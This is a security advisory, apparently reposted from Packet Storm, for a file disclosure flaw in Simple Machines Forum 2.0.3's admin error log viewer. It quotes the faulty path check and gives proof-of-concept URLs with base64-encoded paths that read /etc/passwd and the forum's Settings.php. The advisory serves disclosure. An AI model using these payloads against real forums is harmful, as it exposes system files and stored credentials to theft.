Lucene search
+L

Simple Machines Forum 2.0.3 File Disclosure

🗓️ 07 Jan 2013 00:00:00Reported by WHK YanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

A flaw in Simple Machines Forum 2.0.3 allows an attacker to disclose full web system source file

Code
`*Summary:*  
--------------  
A security flaw allows an attacker to know the full source file of the web  
system.  
  
*Details:  
-----------  
Sources/ManageErrors.php Line 340:  
// Make sure the file we are looking for is one they are allowed to look at  
if (!is_readable($file) || (strpos($file, '../') !== false && (  
strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))  
fatal_lang_error('error_bad_file', true,  
array(htmlspecialchars($file)));  
  
Bypass function strpos($file, '../'), no need "../", example:  
/home/foo/www/Settings.php  
  
*PoC:  
-------  
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=  
Read /etc/passwd  
  
works with path disclosure for read Settings.php:  
http://whk.drawcoders.net/index.php/topic,2792.0.html  
  
*Reproduce:  
1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts  
2. Get full path of web app ( /home/1337/public_html/SSI.php ).  
3. Exploit in base64:  
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=  
To read /home/spadmin/public_html/Settings.php  
  
Referer and Mirror:  
-------------------------  
http://whk.drawcoders.net/index.php/topic,2805.0.html  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation